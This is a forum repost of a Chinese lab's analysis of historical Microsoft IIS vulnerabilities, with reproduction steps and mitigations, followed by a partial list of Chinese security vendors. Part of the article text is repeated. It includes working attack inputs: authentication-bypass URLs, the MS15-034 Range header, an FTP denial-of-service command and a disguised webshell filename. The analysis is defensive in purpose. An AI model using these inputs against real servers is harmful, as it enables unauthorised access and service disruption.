b. 通过在末尾加上/.php,成功执行php代码:
 
Ø 漏洞缓解:
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;
2. 攻击者需要事先获取IIS服务器受认证保护目录;
 4.  信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
        4.1.1 漏洞描述:IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
        4.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0-10.0全系列版本
Ø 漏洞分析:Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。
Ø 漏洞类型:可远程利用,可触发信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:
 
2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:
 
 
Ø 漏洞缓解:
1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;
2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;
3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html
 5.  代码执行漏洞
      5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444
      5.1.1 漏洞描述:IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
      5.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0
Ø 漏洞分析:此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型:可远程利用,文件上传绕过可触发代码执行
Ø 漏洞复现:
复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);
 
2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:
 
 
Ø 漏洞缓解:
1. 严格限制IIS第三方应用上传文件的格式;
2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。
   5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 
      5.2.1 漏洞描述:Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。           5.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析:
    IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。
 根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型:可远程利用,可触发代码执行
Ø 漏洞复现:
 复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:
 
Ø 漏洞缓解:
1. 禁用 IIS 内核缓存,详情见微软官方公告:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。
 三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。
  如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。 查看全部
本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
Ø 漏洞分析:IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符,后面跟一个十进制数字。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;
 
 
2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:
  Eg:http://192.168.180.200/_vti_bin/.dll/\~0
 
 
 
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。
 2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521
      2.2.1 漏洞描述:IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析:
通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:
(1)一个有效的ftp帐户,拥有只读或写入权限;
(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;
(3) FTP根目录下至少有一个目录。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
 
 
2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;
3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:
 
中间很多重复:
p*/../BB:
BB
 
 
FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 3.  认证绕过漏洞3.1  IIS认证绕过和源码泄露漏洞复现
       3.1.1 漏洞描述:Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
 3.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0、IIS 7.5
Ø 漏洞分析:Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:
(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:
IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;
 Eg:/admin::$INDEX_ALLOCATION/index.php
(2) Microsoft IIS 7.5经典ASP身份验证绕过:
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;
Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp
(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:
在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;
Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。
Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)
Ø 漏洞类型:可远程利用,可触发认证绕过和信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:
1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
 
 
 
 
2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
 
3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
 
4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;
Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
 
a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
 
b. 通过在末尾加上/.php,成功执行php代码:
 
Ø 漏洞缓解:
1. IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响;
2. 攻击者需要事先获取IIS服务器受认证保护目录;
 4.  信息泄露漏洞4.1 Microsoft IIS 短文件名泄露漏洞
        4.1.1 漏洞描述:IIS短文件名漏洞是由于HTTP请求中携带旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
        4.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0-10.0全系列版本
Ø 漏洞分析:Windows 支持以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些文件。基于Windows的IIS服务器默认根目录C:\inetpub\wwwroot下的网页脚本文件和目录符合一定条件时,会生成相应的短文件名。此时,攻击者利用HTTP的DEBUG、OPTIONS、GET、POST、HEAD、TRACE等方法携带波浪号,可以对IIS服务器短文件名进行暴力猜解,依据返回的页面信息和状态码来确认真实存在的文件名,从而获取服务器敏感信息,为下一步攻击做准备。
Ø 漏洞类型:可远程利用,可触发信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
1. 通过cmd下进入IIS网站根目录C:\inetpub\wwwroot,输入“dir /x”查看已存在的短文件名:
 
2. 使用公开POC或者扫描程序探测目标靶机的短文件名,成功猜解到服务器根目录短文件名称:
 
 
Ø 漏洞缓解:
1. 限制IIS服务器HTTP方法,除了必要的GET、POST方法,其他HTTP方法建议关闭,视情况开启;
2. IIS服务器文件建议使用复杂字符或者中文命名,增加后期攻击者暴力破解难度;
3. 针对已存在的IIS服务器,建议关闭NTFS 8.3文件格式的支持或者修改注册表禁用短文件名功能。
注:详细原理和解决方案请参考:https://www.freebuf.com/articles/web/172561.html
 5.  代码执行漏洞
      5.1 Microsoft IIS畸形文件扩展名绕过安全限制漏洞  CVE-2009-4444
      5.1.1 漏洞描述:IIS服务器错误的执行了带有多个扩展名的文件中所包含的ASP代码。例如malicious.asp;.jpg被执行为了ASP文件。很多文件上传程序仅检查文件扩展名的最后部分,因此这可能导致绕过保护机制向服务器上传恶意可执行文件。
      5.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0
Ø 漏洞分析:此漏洞主要原因是IIS第三方上传应用没有限制文件上传格式或者限制不够严格,只检查了文件末尾的格式,导致攻击者可以将如Asp webshell伪装成malicious.asp;.jpg文件格式上传到IIS服务器。IIS的Classic ASP功能在处理asp文件时,被此畸形文件格式的分号截断了,认为是asp文件并进行相应的解析处理。攻击者则在获取上传路径后通过远程访问执行此webshell,控制IIS服务器甚至Windows宿主机器。
Ø 漏洞类型:可远程利用,文件上传绕过可触发代码执行
Ø 漏洞复现:
复现环境:Win server 2003 Sp2 32位企业版,默认IIS 6.0
1. IIS服务器根目录下创建一个名为aspwebshell.asp;.jpg的文件,用记事本打开,放入asp webshell代码(实际利用过程中是通过第三方应用上传绕过漏洞上传此文件,并设法获取此上传路径);
 
2. 通过浏览器远程访问此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功执行asp webshell代码:
 
 
Ø 漏洞缓解:
1. 严格限制IIS第三方应用上传文件的格式;
2. 此漏洞仅影响IIS 6.0,其他版本解析asp文件不会被分号截断,可升级至无此漏洞的IIS版本。
   5.2 (MS15-034)Microsoft IIS远程代码执行漏洞复现  CVE-2015-1635 
      5.2.1 漏洞描述:Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。Microsoft Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。使用Microsoft IIS 6.0以上版本的Microsoft Windows的HTTP协议堆栈(HTTP.sys)中存在远程执行代码漏洞,该漏洞源于HTTP.sys文件没有正确分析经特殊设计的HTTP请求。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。           5.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 7.5、IIS 8.0、IIS 8.5
Ø 漏洞分析:
    IIS进程w3wp.exe接收到HTTP请求后,将数据缓存到内核中,并整合HTTP回应头,最后由http.sys组织数据包经由网络内核组件发送出去。请求中包括Range对象的指定范围,而缓存中则包含了http文件和大小信息等。
 根据公开POC,构造包含“Range: bytes=0-18446744073709551615”的HTTP请求并发送到IIS 7.5-8.5服务器,如果IIS服务器返回“Requested Range Not Satisfiable”,则存在漏洞,如果返回“The request has an invalid header name”或者没有回应,则说明漏洞已经修补或者不存在漏洞。
Ø 漏洞类型:可远程利用,可触发代码执行
Ø 漏洞复现:
 复现环境:Win server 2008 R2 64位企业版,默认IIS 7.5
1. 开启IIS默认网站
2. 根据公开poc发送包含特殊设计的Range字段攻击靶机环境,成功检测到漏洞:
 
Ø 漏洞缓解:
1. 禁用 IIS 内核缓存,详情见微软官方公告:
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034
2. 升级IIS至IIS 10.0版本,此版本不存在此漏洞。
 三、 漏洞总结
IIS 远程漏洞主要包括缓冲区溢出、认证绕过、拒绝服务、代码执行和信息泄露漏洞,本地漏洞主要分布在信息泄露和权限提升漏洞分类,大部分漏洞利用难度较大,但是一旦成功被攻击者利用,影响的不仅仅只是IIS服务器,甚至可能是运行IIS的Windows主机。如果用户主机被利用,那么攻击者可以将此台主机当作肉鸡攻击内网中的其他主机、服务器或者网络设备等,后果不堪设想。
  如果IIS服务器的网站配置不当,攻击者可以通过IIS短文件名猜解和暴力破解用户隐私文件并进行认证绕过访问,获取用户隐私信息。此外,不合理的上传限制也会导致攻击者上传含有恶意代码或webshell并伪装成合法的文件,进而导致IIS服务器被攻陷。攻击者利用提权漏洞或者命令执行等漏洞,对IIS服务器甚至是Windows操作系统进行进一步的攻击。无论是对IIS服务器本身的服务还是该IIS服务器所处的网络环境,IIS漏洞都是一个极大的隐患,也让IIS网站管理员和不少运维人员心惊胆战。

国内的主要安全产品及厂商

sq_smile 发表了文章 • 0 个评论 • 386 次浏览 • 2018-12-28 11:42 • 来自相关话题

链接:https://www.zhihu.com/question/20334043/answer/183326406
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
国内哪些公司在做企业版安全产品开发?
问题太大了,做企业版安全产品的N多,有硬件设备、有软件、也有做SAAS在线服务的。
国外的一些安全软件是否在中国只做代理销售,基本不会在国内开发?
国外的安全软件除非个别的,基本在国内都有代理销售。
有没有国外的安全软件开发公司在中国有分公司或办事处?规模比较大的国外安全公司很多在国内有办事处。 
这个是一个兄弟整理的安全产品厂商分类,找不到出处了。
1. 防火墙类(UTM&FW&NGFW)厂商
2. WAF(web 应用防火墙)厂商
3. 数据库审计类厂家
4. 运维审计厂商
5. 网站安全厂商
6. 邮件类安全厂商
7. 身份鉴别厂家
8. 防毒墙&杀毒软件厂商
9. 安全咨询类厂家
10. 网闸安全厂家
11. 等级保护评估系统
12. 数据防泄漏(DLP)
13. 漏洞扫描(主机&web)
14. SOC(安全运维平台)&SIEM(安全事件管理)
15. 内网安全管理(含准入)
16. 上网行为管理
17. 远程接入安全(VPN)
18. 入侵检测和防御(IDS&IPS)
19. 抗拒绝服务攻击(DDoS)
20. 网页防篡改 
其他公司细分(跟游侠打过招呼了,感谢辛苦整理):<img src="https://pic4.zhimg.com/50/v2-1e029de4aae7f248926b2459cbe6977f_hd.jpg" data-rawwidth="480" data-rawheight="360" class="origin_image zh-lightbox-thumb" width="480" data-original="https://pic4.zhimg.com/v2-1e029de4aae7f248926b2459cbe6977f_r.jpg">
物理安全
存储介质信息消除/粉碎机:北信源、和升达、科密、30所、利谱、交大捷普、兰天致信、中超伟业、博智软件、方德信安、深圳汇远佳禾网络安全防火墙/UTM/安全网关/下一代防火墙:天融信、山石网科、启明星辰、网御星云、绿盟科技、安恒信息、蓝盾、华为、软云神州、杭州迪普、华清信安、东软、上讯信息、利谱、深信服、360、卫士通、H3C、交大捷普、信安世纪、任子行、上海纽盾、金电网安、亚信安全、北京擎企、金山、君众甲匠、优炫、海峡信息、安信华、博智软件、中科曙光、中科网威、江民科技、六壬网安、安码科技、点点星光入侵检测/防御:启明星辰、绿盟科技、网御星云、360、天融信、铱迅信息、蓝盾、杭州迪普、山石网科、安恒信息、交大捷普、任子行、经纬信安、漏洞盒子/网藤风险感知、华清信安、上海纽盾、东软、恒安嘉新、安天、金山、君众甲匠、海峡信息、博智软件、H3C、中科网威、江民科技、六壬网安、青藤云安全无线入侵检测/防御:360、北京锐云通信、山东闻道通信VPN:深信服、天融信、蓝盾、360、华为、绿盟科技、卫士通、信安世纪、奥联科技、启明星辰、南京易安联、华清信安、上海纽盾、东软、海峡信息、博智软件、H3C、江南信安、弘积科技、山东确信上网行为管理:360、深信服、蓝盾、华为、莱克斯、网际思安、软云神州、杭州迪普、北信源、网鼎芯睿、陕通、上海新网程、奥联科技、交大捷普、任子行、上海纽盾、东软、Panabit、北京擎企、金山、盛世光明、博智软件、H3C、万网博通、极安、江民科技、迈科网络、六壬网安、弘积科技网络安全审计:天融信、莱克斯、启明星辰、交大捷普、绿盟科技、蓝盾、广州国迈、软云神州、任子行、雨人、上海观安、上海纽盾、360、恒安嘉新、盛世光明、海峡信息、博智软件、杭州迪普、中科新业、重庆智多网络流量控制:360、深信服、流控大师、Panabit、蓝盾、软云神州、网鼎芯睿、互普&溢信(IP-Guard)、东华软件、上海纽盾、灵州网络、恒安嘉新、北京擎企、金山、盛世光明、杭州迪普、万网博通、极安、迈科网络网络流量分析:科来公司、东华软件、绿盟科技、网鼎芯睿、上海观安、上海纽盾、恒安嘉新、Panabit、亚信安全、安天、江民科技、华青融天、迈科网络防病毒网关/防毒墙:网御星云、蓝盾、冠群金辰、杭州迪普、瑞星、360、安恒信息、山石网科、亚信安全、安天、金山、天融信、海峡信息、安信华、博智软件、江民科技APT未知威胁发现:安恒信息、科来公司、360、天融信、启明星辰、东巽科技、安天、绿盟科技、华为、神州网云、成都力合智远、经纬信安、兰云科技、中铁信睿安、卫达安全、恒安嘉新、宝利九章、亚信安全、安赛创想、金山、海峡信息、博智软件、知道创宇、江民科技、六壬网安抗DDoS产品:绿盟科技、华为、中新网安、铱迅信息、启明星辰、傲盾、蓝盾、杭州迪普、华清信安、安恒信息、兰云科技、上海纽盾、卫达安全、任子行、青松云安全、天融信、360、北大千方、知道创宇、神荼科技抗DDoS服务:阿里云、腾讯云、金山云、百度安全/安全宝、360、安恒信息、兰云科技、网宿科技、上海云盾、中新网安、卫达安全、安全狗、青松云安全、电信云堤、UCloud、智卓云盾、知道创宇、蓝盾网闸:360、北京安盟、利谱、启明星辰、杭州合众、北京盖特佳、天融信、交大捷普、天行网安、伟思、金电网安、赛博兴安、东软、海峡信息、安信华、重庆爱思安全隔离与信息单向导入设备/单向传输机器:深圳中锐源、中铁信安、中孚信息、杭州合众、国保金泰、天融信、赛博兴安、普世科技、锐安、金电网安、北京安盟、中科网威、山石网科、哈尔滨朗威、利谱、北京远为软件网络缓存加速·产品:缓存大师WebCache、锐捷、优络普、Panabi